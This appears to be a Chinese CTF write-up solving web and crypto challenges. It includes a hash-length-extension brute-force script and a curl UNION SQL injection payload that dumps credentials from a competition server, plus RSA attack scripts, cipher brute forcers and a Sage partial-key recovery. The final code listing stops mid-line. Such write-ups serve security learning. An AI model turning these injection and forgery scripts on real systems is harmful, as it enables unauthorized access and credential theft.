校赛部分web+crypto WriteUP

来源:互联网 发布:masslynx数据导出 编辑:程序博客网 时间:2024/05/12 03:40

    • web100 warmup-web
    • web300
    • web300 web2
    • web300 web4
    • crypto100 rsa
    • crypto100 wn
    • crypto100 warmup
    • crypto200 zlmm
    • crypto300 basr
    • crypto500 ccr
    • crypto400 heheda
    • crypto500 rsb

本来最开始没有打算做这个比赛,因为看了看奖品好像没有什么需要的,也就U盘有点用,加上之前湖湘杯线下赛打的不好,不过要是那时有python2环境其实个人感觉还是有机会打进前10名的,哎算了,马后炮什么的就不谈了。一场线下赛收收获挺多,打完想要做的事情也就更多了,赶紧开始疯狂写工具把。

后来听说这次会有几道好的加解密的题,加上我们队也只有我一个人做加解密,所以想想顺带练练手,结果就沉迷crypto不可自拔,做了一整天加一整下午的加密。。结果web题到后来都没时间做了。

回头等疯狂写完一波工具再补把。

web100 warmup-web

请求头看到路径,然后访问直接拿到flag

web300

根据提示在index.txt看到源码,一道hash长度拓展攻击的题,不知道secret的长度,写个脚本爆破下就行了

import osimport requestsr=requests.session()def inject(username,password,hash):    param={"username":username,"password":password}    header={'Cookie': "albert="+hash}    url='http://45.32.58.123:8888/index.php'    result=r.post(url,data=param,headers=header)    return result.contentfor i in xrange(1000):    print i    find_hash = "~/github/hash_extender/hash_extender -d 'adminadmin' -s 968c31570a2a3afa076112687ecca974 -f md5  -a 'adminguest' --out-data-format=html -l " + str(i) + " --quiet"    tmp = os.popen(find_hash).readlines()    hash_value = tmp[0][:32]    username = tmp[0][32:37]    password =tmp[0][37:]    content = inject(username,password,hash_value)    if "flag" in content:        print content        break

这里写图片描述

web300 web2

一道跑字典的题,先跑字典发现有一个/x/的目录,再跑字典发现,x目录下有login.php和register.php,并且两个都存在备份文件,在.login.php.swp的源码里面直接拿到flag。

这里写图片描述

web300 web4

一道注入题,没有过滤,参数id,直接爆库就可以了,

如下:

curl "http://45.32.58.123:4444/?id=1' and 1=2 union select 1,concat(id,0x2f,username,0x2f,password),3 from albertchang limit 0,1--+ "

拿到密码之后,最后

curl "http://45.32.58.123:4444?id=1" -d "flag=Th3_Pas3W0rd_i3_Albertchang"

这里写图片描述

crypto100 rsa

一到简单的共模攻击,如下:

from libnum import gcd,invmoddef pow(b, e, m):    result = 1    while e != 0:        if (e&1) == 1:            result = (result * b) % m        e >>= 1        b = (b*b) % m    return resultdef egcd(a, b):    x,y = 0, 1    lastx, lasty = 1, 0    while b:        a, (q, b) = b, divmod(a,b)        x, lastx = lastx-q*x, x        y, lasty = lasty-q*y, y    return (a ,lastx, lasty)n=0x18f60afa6b9938df69338805ae7fbd5652da3ac8fa5b7b65e4755149ba3f80d071fe8845fa20ea3e57e21fb2f630e47e4886de35c51d1487c170a59141f833c3aaea62c539e20664dbfa75f1b2d56ed4dbec991e5bf3306931bfda79b1dd8466f808af159b44be042499d423110ab9cfd595e370029862e2e686ed2a27fb6b459c4fddc0ebd4f112e0f3769524412e7128eb04b02de421df5a0e5b22d2c40acf1727aa9093160bf6dbd862ac136a805a4e9c760c54d28ac5bf21d509d94e9e437e2e38a13664ec104dadc66f8c21b7b82e3e3570d27326e13df07dd72b6847f8e53aadeafa54cc879cfa2ae3b8028c39df36b097ba65688abadb78a06c16f393Le1=0x17e1e2=0x43a5c1=0xb6e66aa0d4d5ad1460482f45aab87e80a99c1ff3af605fd9cea82d76d464272f3dd2e1797e3fede64cffcd54b2a7a5e21f45574783f62266cebf3cdb9764c6c04b0b30b5d065d5f6142d498506ea1f6449f428253d4d76bd96778d5f58abf313370b980dcb90daf882c5539ac3df81a431bc2c0e0911ecbe5195d94312218b3854ee14f13bd00c81d7ff11c06a9e112940b7377c20e53738a2ebb77b0534d8d9e481e60e9c87693bd9e1fd1e569083479ff8f53e42337a2b799c2325a7e2588fb046cf228d01d8596e7af4570a3cb0635d2524d234e3993d76b7e60f1c478ba45891de5cc0a1fec116f7c0dd9be7aa54226edf0196e37856afca32c69d790e1Lc2=0x9bcbfea3c3130364bbcf352b7810df031293949ed147919dec3ecfdd48f77e9486ae811d95f8c79eb477f4424d475dc611536343c7e21c427e18593aae37982323f2c0f4e840fbf89b31edc8f79ad7f6511ee0e5605cfbba7ada7d8777e81ec0ac122e0ad5108e97fafc0cd31ed8c83f3e761b92bdbea1144b0c06c5ca43a7b4e9e0a2b15ee12509235c5695be54d9fd0725ac80abbf0f5e8f43539da3ce9464020099e031d8bca899f11638169196ac72aeaeb90dab851d801cf93044cc00dd94d93c8963201b26788a7c42ce45c496c0a597ac53cd55c60b8f38f3f7d1f8ecc2e4e40ba6fe0c6e605ebbfc9aa3da5ab810c783c1d9957bb5d00a89ab1bbdeLs = egcd(e1, e2)s1 = s[1]s2 = s[2]if s1<0:    s1 = - s1    c1 = invmod(c1, n)elif s2<0:    s2 = - s2    c2 = invmod(c2, n)m=(pow(c1,s1,n)*pow(c2,s2,n))%nprint hex(m)[2:-1].decode('hex')

这里写图片描述

crypto100 wn

一道wiener_attack,脚本如下:

def pown(b, e, m):    result = 1    while e != 0:        if (e&1) == 1:            # ei = 1, then mul            result = (result * b) % m        e >>= 1        b = (b*b) % m    return resultdef isqrt(n):    x = n    y = (x + 1) // 2    while y < x:        x = y        y = (x + n // x) // 2    if pow(x, 2) == n:        return x    else:        return Falsedef con_fra(a, b):    r = []    while True:        if a == 1:            break        tmp = a/b        if tmp != 0:            r.append(tmp)        a, b = b, (a-tmp*b)    return rdef wiener_attack(e, n):    cf = con_fra(e, n)    for x in xrange(len(cf)):        k, d = 0, 1        while x >= 0:            k, d = d, d*cf[x] + k            x -= 1        phi_n = (e*d - 1)/k        B = n - phi_n + 1        C = n        dt = pow(B, 2) - 4*C        if dt >= 0 and isqrt(dt) and (B+isqrt(dt)) % 2 == 0:            #return phi_n            return d    print "wiener attack fail!"c=0x63ef5dc677da219989328c3e02cf6fff8aa7a47929d5fff01808005d7abbf40d62fea27fe6ec2abe5d98915e1ecd65b4a9f6b51713b0d0a479bedead0837c7ab44ece78df9708f3bd5702ef48b8b37ddd686b1a1e397eec53779e45354479f13e8329d90c1799d3d920d072b9db39c39c4da4d154537d60080355fe1c34cfa179f5ca19fc08ef2e5f5ba23ec49c08d54bdd383d8f69b2ede5252342d14d5c11546047bd631a6fdec50dfd8f9232eab73c9cb2c9c453feda0348385a45607d04e534983a10b8fe6769002e91fc3867460c100df2b8dec3ff68ba35138677d424eeb5ccb8a8712068ad22d5d596aeb770589ffbf8732ea7fa60d86113f6aefaffLe=0x1dd2f1e955f2b2a230e23a691dbfa129672588f4f14f20527eb6731b1c6bec25ee955e706a2c1a3e8740900e32ffa977ac899a1fb905dd7a11bc6bbd448960260c82eb6aec3f1fbeeeafc6b2e32a53369a406b7c851f3bb235b0a34699bfae43d6ac5dc3402aa52a9009f7a4c92d263eec13ed7a8d240d85d551a66b7c67a46c8d6978f609cec1ddcb3f9ca5bf173ed705dd0814182c40cbc689d5f749d83b2df753dafe484d7d5b4c3964e03c291ed822f87cbd7ed921d0aa15d33052602d19d7d54b61a6d4dea2a436d04da3bfc3c4fa12430c4eb3dbd1fca149295993fcf164a21a47b2a071169929b2d2fa7435c92ade5d9a3c9b0d76bfbc690d7ddc827Ln=0x7d7adb3106f3ed066a0a94da1822290f596f1f6bf23f0ee64ce5804d59b82458f65ad251575777edeb75abef82fb7dc8ac8b5d503e912867d644897803370a51ead9d74e42df734314af4bc8564db1714e61e7d5bdd16ec3306b2d93741a9fa4822e2cb6795a3cd0c1a6a6f8d1bd06a8fb6cb6c6acea7bdd6a247ec76cbf261e9f1f3915be37c0ec7ff44d064978857e6d05d778ef07ab84b31a8fa3d500e347c7baef85e647603dba220f570006e79deafcac7d863f3f1bc2ebcac64562984b730cf5b91cf23ff817f9dd64ac6a1cee4475a31a82180b53930dc67f40e1d6d91d1a6316af6de7e40c8ef4a76fdfe40ff352fe7dc89466a4846cb8d1a8fd025Ld=wiener_attack(e,n)m=pown(c,d,n)print hex(m)[2:-1].decode('hex')

这里写图片描述

crypto100 warmup

代码如下:

def decode(enc_flag,k):    r=enc_flag.decode('base64')    r=r[:-1]    tmp=""    for i in r:        tmp+=chr(ord(i)^k)    return tmpa='UAUSAB1QUFBQUFAbfQ=='for i in xrange(33,127):    b=decode(a,i)    print b    if "61d" in b:        print b

这里写图片描述

crypto200 zlmm

栅栏密码,直接写脚本暴力猜解组数解密就可以了

代码如下:

# encoding:utf-8cipher='F e   canece odouarld{iarswsitt o N  fsseo zvgiyeipioantehi t ancheocm gaous oganwiakgaa ,absntns l rd ic   p+s notei. aimo ttejtntlca,lado d gi bhh.ooiiao  in nTeghlseee y gvnrgicdt hcrtlle rIoehimern  hPire ianfituntti e sterseaoov ln sd ymyawho o etfnesagc  o.aethadEcm   ssem adtff6a odamlocbh  aeimah l6rAsoyaamaeoowrsneyeba6smew,nmemapfhe j b ag}'length=len(cipher)num=[]for i in range(1,length):    if(length%i==0):        num.append(i)for i in num:    b=length/i    plantext={x:'' for x in range(b)}    for j in range(length):        a=j%b;        plantext.update({a:plantext[a]+cipher[j]})    d =''    for j in range(b):        d = d+plantext[j]    print "====================================================="    print str(i)+":"+d

这里写图片描述

然后发现分为16组的时候时正确的

crypto300 basr

拿到代码如下:

from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_longimport stringimport randomdef pen(msg,k):    myl=string.printable[0:62]+"+/"    nell=[""]*64    for i in range(64):        nell[(i+k)%64]=myl[i]    nel="".join(nell)    msg+="/x00"*(len(msg)%4)    bs=""    for i in msg:        bs+="0"*(8-len(bin(ord(i))[2:]))+bin(ord(i))[2:]    print bs    c=""    for i in range(0,len(bs),6):        c+=nell[int(bs[i:i+6],2)]    return cdef backdoor(p,k):    q2=getPrime(1024)    n2=p*q2    print "q2",q2    print "n2",n2    return n2^(k%64)def main():    flag=open("flag","r").read().strip()    m=bytes_to_long(flag)    print "m",m    p=getPrime(1024)    print "p",p    q=getPrime(1024)    print "q", q    n=p*q    print "n",n    s=""    s+=hex(n)+"\n"    e=65537    c=pow(m,e,n)    print "c",c    cipher=long_to_bytes(c)    k=random.randint(0,0xffffffffff)    print "k",k    s+=pen(cipher,k)+"\n"    s+=hex(backdoor(p,k))    open("info","w").write(s)if __name__ == '__main__':    main()

分析之后,发现能够从backdoor(p,k)的值里面还原出p,加上我们已知ne,这样就能够求出私钥d,再根据pen(cipher,k)的值我们可以还原出密文,然后直接用私钥解密就可以了。

代码如下:

# encoding:utf-8from libnum import gcd,invmodfrom Crypto.Util.number import bytes_to_longimport stringdef pow(b, e, m):    result = 1    while e != 0:        if (e&1) == 1:            result = (result * b) % m        e >>= 1        b = (b*b) % m    return resultn=0xe886509c1b938f6516e6427f4c39a978a986cda762b3b2fadc7695e32318bc778d98d0bc2a4b69e199b9502637df7e9188528c897a8045e70761fc8d686862dd5f2e8e6aef345c8071930604393e93924a0521cf877b0a5de6096ffdde32498a31e71c62c075bb05f89f16aab2af4de8cf5a7f4c2f5c9f9cf2c416f3f0d3f3e0b95eba65f93401798cffb11d8dddba00d2a0a5f3dfa56d789990cb7fe9f7512b3b59b01db833765b24e7d3f9e2a0ad6b12353469016376f692633f13238f793c571cb51f502ced1407837244cc4d82387a02752f5ab6b5911e2c33db582b47af7cea5b5e58c992e6898b422d458493e5af131ba384bece961e1c3639c6fa9c7fLpen_cipher='5PmgEkc2aMYMdepZ0afHUavdwWbwTH8JsXMCYBkaE/LH067sciTI3BZ/9PvSeCBwByy2RQcbJa6ZTkl6H3IPUuukjvWUAhiSZ90e5wVN4eLp5Cje13QR4H7Jpo6BmcW+7sQd35YuF+j8oUzcqJVQ7HmGhPfjcMQDpD7wc36bDj6bCY4Lc4vaMNWULqmCX9uzKazDc3cf2BPQsFBAyKrVJqNGbwW3EfxxoHZvqLBvlKvAOA2QmEYSXW2w3PNh8Ut031nVXo91Ty3Doz0i4UgX/yiFGkmHIyOfgDztg/AWj9kYs1HXHhcq9AmPVvIoXNol6JJg8qkXtkZz8q0uInDgV5'backdoor_p=0x82d1893261466f1a6493136407b686e5bde5c79772834d609067709bf442c71ffd90760ce8b94f766d8b5b5c91f6ba66193c6322d27350b4c03d08c41236d842a9e619cb9fb11f3d53cb787ffdd05d354510cf0165eb831dab58bf800e3b40cdf31b9cf9b337ac020a147be9342d0f0a45fbd31db24df5763bc0f7194c0056636f53989a7777e37e862b0f4aee82432759e5dac55cca7f3a17ccbaf59680e05c523855218560104835bb3ca863a0abdd003f3e3308e7d90ab8cb729b304d15424ada98b0e98a2893ca801508ef6b6ebcfa0bc0d857dc104b93b4f92a52fb5d459d465a2c1a5d5d94905c6c4b42393a8d83eac5035696c990b96e90b155c3e85dLp=""k=""for i in xrange(64):    n2=backdoor_p^i    p=gcd(n2,n)    if p!=1:        k=i        break#print pq=n/pphi_n=(p-1)*(q-1)e=65537d=invmod(e,phi_n)#print dmyl=string.printable[0:62]+"+/"nell=[""]*64for i in range(64):    nell[(i+k)%64]=myl[i]nel="".join(nell)bs=""for i in pen_cipher[:-1]:    bs+="{:0>6}".format(bin(nel.find(i))[2:])#print bsbs+=bin(nel.find(pen_cipher[-1:]))[2:]msg=""for i in xrange(0,len(bs),8):    tmp=bs[i:i+8]    msg+=chr(int(tmp,2))#print msgc=bytes_to_long(msg)print hex(pow(c,d,n))[2:-1].decode('hex')

这里写图片描述

crypto500 ccr

首先拿到源码如下:

import flagfrom Crypto.Util.number import getPrime, long_to_bytes, bytes_to_longfrom base64 import b64encode, b64decodechars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'def shift(char, key, rev = False):    if not char in chars:        return char    if rev:        return chars[(chars.index(char) - chars.index(key)) % len(chars)]    else:        return chars[(chars.index(char) + chars.index(key)) % len(chars)]def encrypt(message, key):    encrypted = b64encode(message.encode('ascii')).decode('ascii')    return ''.join([shift(encrypted[i], key[i % len(key)]) for i in range(len(encrypted))])def main():    m=bytes_to_long(flag.flag)    p=getPrime(1024)    q=getPrime(1024)    n=p*q    e=65537    c=pow(m,e,n)    s=(long_to_bytes(c).encode("base64")+hex(n)+hex(int(bin(p)[2:][0:576],2))).encode("base64")    open("ccr.txt","w").write(encrypt(s,flag.k))if __name__ == '__main__':    main()

看到shift函数很容易想到vigenere,关于flag.k没有任何信息提示,大三密码学的时候讲过一种kasiski测试法用来猜解密钥长度,那时候破解vigenere两步,第一步是长度破解,第二步统计字频进行替换。但是统计字频仅限于字母表为a-z,这道题显然不适用,而且我们通过kasiski测试法跑出来的密钥长度是24位。如下代码便是获取密钥长度的kasiski测试法,当然我写的比较冗余,不过能够搞出来就行了。

def get_len(s):    val=[]    length=len(s)    for i in xrange(length-4):        for j in xrange(i+1,length):            if s[i:i+4]==s[j:j+4]:                val.append(j-i)    maxtimes=0    maxval=0    book={}    length=len(val)    print val    for i in xrange(length):        for j in xrange(i+1,length):            tmp=gcd(val[i],val[j])            if book.has_key(tmp):                book[tmp]+=1            else:                book[tmp]=1            if book[tmp]>maxtimes:                maxval=tmp                maxtimes=book[tmp]    return maxvalkey_len=get_len(a)print key_len  #=24

由于没有任何密钥相关信息,64**24显然没有办法直接爆破。

所以我们采用和TWCTF拿到crypto200的vigenere的破解方法,这里我们看到,在加密的时候首先进行了encode('ascii')操作,这也就决定了我们解密出来的值一定要是在ascii的范围之内,如果我们通常来爆破的话,由于这里用了base64,解密的时候在vigenere解密之后,会进行一次base64解码操作,根据base64解码每4位密文串导出3位明文串,我们可以将密钥每四位分组,然后通过爆破每组的密钥合并之后就是总密钥。

但是还是面临长度过长爆破成本过高的问题。

但是我们刚刚说了,解出来的值一定要在128以内,因为是ascii编码了。

所以我们不用逐位爆破。

比如我们在爆破第一组四位密钥的时候,我们枚举到beaa这一串,然后只用这一串去解密原文,然后base64解密完成之后,如果每18的第一个字符(即由be解出来的字符)不是ascii的,那么后续的爆破beabbeac等等都没有意义了,可以直接跳往bdaa了。

有了这样的预判,我们在爆破的时候就能够省下很多时间。

爆破密钥的代码如下:

def is_ascii(string):    if string:        for i in string:            if  ord(i) > 128:                return False    return Truedef judgeascii(plain,num,block):    start = 3*block    for i in range(start,len(plain),18):        if not is_ascii(plain[i:i+num]):            return False    return Truekey_len=24def get_key(encrypted,key_len):    global candi_count    candi_key_list = [[],[],[],[],[],[]]    for block in range(int(key_len/4)):        for a in chars:            for b in chars:                if not judgeascii(decrypt(encrypted,a+b+"aa"),1,block):                    continue                for c in chars:                    if not judgeascii(decrypt(encrypted,a+b+c+"a"),2,block):                        continue                    for d in chars:                        if judgeascii(decrypt(encrypted,a+b+c+d),3,block):                            #print a+b+c+d                            candi_key_list[block].append(a+b+c+d)    return candi_key_listk1,k2,k3,k4,k5,k6=get_key(encrypted,key_len)print k1,k2,k3,k4,k5,k6'''k1=['smab', 'smaf', 'smah', 'smai', 'smaj', 'smak', 'smal', 'sman', 'smao', 'smap', 'smaq', 'smar', 'smas', 'smat', 'smau', 'smax', 'smay', 'smaz', 'smaE', 'smaG', 'smaH', 'smaI', 'smaJ', 'smaK', 'smaL', 'smaM', 'smaN', 'smaS', 'smaU', 'smaX', 'smaY', 'sma2', 'sma7']k2=['lpic', 'lpid', 'lpie', 'lpif', 'lpig', 'lpii', 'lpij', 'lpik', 'lpil', 'lpim', 'lpin', 'lpio', 'lpip', 'lpiq', 'lpis', 'lpit', 'lpiu', 'lpiw', 'lpiA', 'lpiC', 'lpiD', 'lpiE', 'lpiF', 'lpiG', 'lpiH', 'lpiK', 'lpiM', 'lpiN', 'lpiT', 'lpiX', 'lpiY', 'lpiZ', 'lpi5', 'lpi7', 'lpi8', 'lpi9', 'lpi/']k3=['piga', 'pigf', 'pigh', 'pigi', 'pigj', 'pigk', 'pigm', 'pigo', 'pigp', 'pigq', 'pigr', 'pigs', 'pigu', 'pigv', 'pigw', 'pigx', 'pigy', 'pigz', 'pigA', 'pigC', 'pigE', 'pigF', 'pigG', 'pigH', 'pigO', 'pigQ', 'pigR', 'pigS', 'pigT', 'pigU', 'pig2', 'pig5', 'pig8', 'pig9']k4=['mala', 'malb', 'malc', 'male', 'malh', 'mali', 'malj', 'malk', 'mall', 'maln', 'malo', 'malp', 'malq', 'malr', 'mals', 'malt', 'malu', 'malv', 'malx', 'maly', 'malB', 'malG', 'malH', 'malI', 'malJ', 'malK', 'malL', 'malM', 'malO', 'malP', 'malU', 'malX', 'malY', 'mal5', 'mwla', 'mwlb', 'mwlc', 'mwle', 'mwlh', 'mwli', 'mwlj', 'mwlk', 'mwll', 'mwln', 'mwlo', 'mwlp', 'mwlq', 'mwlr', 'mwls', 'mwlt', 'mwlu', 'mwlv', 'mwlx', 'mwly', 'mwlB', 'mwlG', 'mwlH', 'mwlI', 'mwlJ', 'mwlK', 'mwlL', 'mwlM', 'mwlO', 'mwlP', 'mwlU', 'mwlX', 'mwlY', 'mwl5']k5=['lala', 'lalb', 'lalc', 'lald', 'lale', 'lalf', 'lalg', 'lalh', 'lali', 'lalm', 'laln', 'lalq', 'lalv', 'lalw', 'lalx', 'laly', 'lalz', 'lalB', 'lalC', 'lalD', 'lalE', 'lalJ', 'lalM', 'lalR', 'lalS', 'lalU', 'lal1', 'lal2', 'lal3', 'lal6', 'lal8', 'lal9', 'lal+', 'lal/']k6=['kala', 'kalc', 'kald', 'kale', 'kalf', 'kalg', 'kalh', 'kalj', 'kalm', 'kaln', 'kalq', 'kalt', 'kalv', 'kalw', 'kalx', 'kaly', 'kalz', 'kalA', 'kalB', 'kalC', 'kalD', 'kalE', 'kalJ', 'kalK', 'kalL', 'kalM', 'kalN', 'kalR', 'kalW', 'kalX', 'kalZ', 'kal6', 'kal8', 'kal9', 'kal+', 'kal/', 'lala', 'lalc', 'lald', 'lale', 'lalf', 'lalg', 'lalh', 'lalj', 'lalm', 'laln', 'lalq', 'lalt', 'lalv', 'lalw', 'lalx', 'laly', 'lalz', 'lalA', 'lalB', 'lalC', 'lalD', 'lalE', 'lalJ', 'lalK', 'lalL', 'lalM', 'lalN', 'lalR', 'lalW', 'lalX', 'lalZ', 'lal6', 'lal8', 'lal9', 'lal+', 'lal/']'''

最后得到看k1-k6有好几个值,这里可以通过在is_ascii那里加更好的判断来减少数量。然后就是枚举密钥,看结果就很容易知道最后密钥是smallpigpigsmalllalalala

for i in k1:    for j in k2:        for k in k3:            for l in k4:                for m in k5:                    for n in k6:                        keylist.append(i+j+k+l+m+n)                        try:                            result=decrypt(encrypted,i+j+k+l+m+n).decode('base64')                            if "L0x" in result and result[-1]=='L':                                print result                                print i+j+k+l+m+n                        except:                            continue'''QByma8nqcfR+23dbnTnwpUkamJZfn4in8AFDnqogFRrSyC5uynoPYnZLrX1JMQINTHG63lCIlWPFlUFABnOJZSb7bdA7g2WZbABJRce0lxVxAYuHwMvuNTDntISXm1a9sroHE4WlGUTpUuxbM/pKtFpjXPin9J4zKugg0sD1vHswdk+wiUz8QA1rp6uNGSI6ZQjLlld7LBXPsuUPbAIfqxo3mpzXNRvDkoBoHbLGjbGH0LrdrE80GY8UcKiIEBTxZKP8l/cR3MO7/+R/OuBzgWGw90Zt36yqpnP8BIZlSi7G/IUsDyVLAk/23wBDjH8AHFt0I9izhpF/Dug35crQSg==0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fL0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2aLsmallpigpigsmalllalalala'''

在来看前面一段内容,观察一下和HCTF2016的RSA2基本一样,当时比赛的时候可以都找到恢复代码,最后因为位数打错了没能成功恢复出来p,结果没有做出来挺遗憾的。

HCTF2016的RSA题解:http://0x48.pw/2016/11/28/0x28/

这里就是利用已知的576位的p和已知的n来恢复出p的全值。sage代码如下:

p_576 = 0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2an = 0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fpbits = 1024kbits = pbits - p_576.nbits()print p_576.nbits()p_576 = p_576 << kbitsPR.<x> = PolynomialRing(Zmod(n))f = x + p_576x0 = f.small_roots(X=2^kbits, beta=0.4)[0]print "x: %s" %hex(int(x0))p = p_576+x0print "p: ", hex(int(p))assert n % p == 0q = n/int(p)print "q: ", hex(int(q))

这里写图片描述

得到p和q之后,由于e=65537已知,那么就很容易拿到d,然后用私钥d解密即可

a='''QByma8nqcfR+23dbnTnwpUkamJZfn4in8AFDnqogFRrSyC5uynoPYnZLrX1JMQINTHG63lCIlWPFlUFABnOJZSb7bdA7g2WZbABJRce0lxVxAYuHwMvuNTDntISXm1a9sroHE4WlGUTpUuxbM/pKtFpjXPin9J4zKugg0sD1vHswdk+wiUz8QA1rp6uNGSI6ZQjLlld7LBXPsuUPbAIfqxo3mpzXNRvDkoBoHbLGjbGH0LrdrE80GY8UcKiIEBTxZKP8l/cR3MO7/+R/OuBzgWGw90Zt36yqpnP8BIZlSi7G/IUsDyVLAk/23wBDjH8AHFt0I9izhpF/Dug35crQSg=='''c=bytes_to_long(a.decode('base64'))n=0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fLq_576=0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2aLp=0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2a9f51a263e56e33e3e801538dd92b459a412cbe9efe2fa671bd83dae7d88c292bb21227ce242b1ee1a0fb222b3f3436911bf0940b2cf5da4fLq=0xaf30d53c6a8aaefd7da0d6b7f7c139527f14f3b18232119e9c8964b43a64456553eca17cefa9e9d06aec24710d3f88a2d5b67811e63f0a77a5e34dc02d70a4269511109448bd1c33e80e13c11ab0524f7186a29e09d83431f0862fa9e41b894f703af8362bcdefded4f96169c21641a6ba652f72c741292c86306b4e4608c2f1Le=65537phi_n=(p-1)*(q-1)d=invmod(e,phi_n)print hex(pow(c,d,n))[2:-1].decode('hex')

这里写图片描述

下面是我总体的所有代码混在一起了,做题边做边调嘛。

# encoding:utf-8from libnum import invmod,gcdfrom Crypto.Util.number import long_to_bytes, bytes_to_longfrom base64 import b64encode, b64decodeencrypted="b7VVY/R361XAnk+B7mIJnkaq/yt+m831bu/Cp1+8oGsi6XMhcy0/XVN32LX97VAQ9meGolzwcxNumTa795vcYW68YX+V2mI1bctdp5x36M537F+R3l2s5kwSwxlf9z3U7uPY/FQ3+3Mz6l6a8xFEY+JZqPHa8WAvlVAF2TYawwp96f9Q5tLJoFY+Xl639ksobcVQ2Axq+4mROl297jQUmFUFey533A2DpPX5705a9zYKolYFb5B7XCpO+t5+p1+96j2ZlzM2eaV/XURA5vLVnGs29Vn0YVYqavZ4Xe7A/vvUqlUP2jTK50sO4bpSngRq1uDc/WAz5lQU2nwj9RoI6VBq+NTa8mQ663MN9ko4sa4HpTV36sPm/F+75Vwr2kAatwY/9CxUsOT0oFw5mEzy5ko0vsp2m8pR98j25VTJnGwSXGo3bQhVlfVx+1X53W2l40+WllXytQp369x1c25O5F6PlHYMXkeT/5AI5Tb/3PPbmTw1+F6KYlzxfQhvpBB9RtjM6XAZmmI490n1a69Q3zx3q5na+V2v3EHwmF+jvdBQ++7g83Ldo3+Ylkdz5WESu7NPlTRZ63uO5U6CYWQYnGij97lb5zp2qs7m7mzV92IG6FA64PlOlzQ68tjsmlwflzMP2Fv0/wd3lT9w65v631we4nAkmEetcyxZXzbu88jfp1vJ4mAZlkvx/5JYoet0/1Tf7FQf4jUVYQANbShz4+ZH22/InGIllket4mAkt7p85B9V68qg5Uo6YEe6lz6NbbZA7+ZIq2dZ3XwZ20As40oR4a5P1atV+8vH5nAMpEaE6TYNbbUaNAx085rfqlP/7koZo0eXbyhZ2TNa8sj+nUeE6mENpkw4/adllz9095n5mkac4TUGmUeX9yhZXz9a88j2mEe86mIZlmIrc9pUYUta51025koUYVAE4TMZbSRC7Al5s87d8mslllPz7WAZva5B18ZTq2rm502llUaE2msObbZz4ax118/Z8mI06F+s7WAGsa182ax51tqR50o2YQANlk5xcwRZmTbw5uvs70AE4l2JXkata9hY6VFu/sX9ZEeP2XsNlkvy/8pNl+xK65nfYl+D4WASmUe6+y1Z2d7w8uvXYka53mIZll5zUw1E7BxU+9vK8TU2pkaU4XwPbbkK7B92pNrd7mAY6F+o402jva5f6BtgpsqP5mAVmFAX3msP9akH48R2p3vd7TUllkQ6412R4w5BlgsQ8479YEiS6XwNlmnzcy1Vm+ta71X6YlP/40oOl1At+5N+6d7y/u7bYkeS6TMO2E+t/8pzlTbK/uz6mmYf4jUWmVAHb5VY2VB/82X6mgAYpmo37maZwRl83BpUpujm5loVlEaH3XAOwysa7/xqps7a2T6Z20664U2Fww5f483T+ODK5XACXFw63msPbbUK4AlP1M/W3mA0605yNkaEeLR+6e7y82XJZVA87TQO215xc5JYY99N811f7E/I7VoGlUeX/9h+pz998tXXqEaB2mIN6FQ4/7dYXT9N/uDfqkUz4k2no0aU8ygV49l513ra8XwZ61AN4Usn5RlE7Bxg+NPL5V2CpkaU3XsN9QZE4B9P23vL3mAZ2F+r4k2Nww953atUpujk8k2ypVwq7XAO9Q1f49Zx1Yv5nVvJ4XAjXUiXbyt06T3//tXfZUeP3mwNpl63/7R2p9b0/un6YlUE4V2ol1AUc5V02T9982XbYka52XwO6F5zc8pCpTb071X5qkeCNlw6mGAabSRE4zlUqMda7mwZXk/z4maZ4RpB6apUtt5H8TUVmEeX7mINwxFc7AZHttrm5mEYmU+NNg=="chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'def pow(b, e, m):    result = 1    while e != 0:        if (e&1) == 1:            result = (result * b) % m        e >>= 1        b = 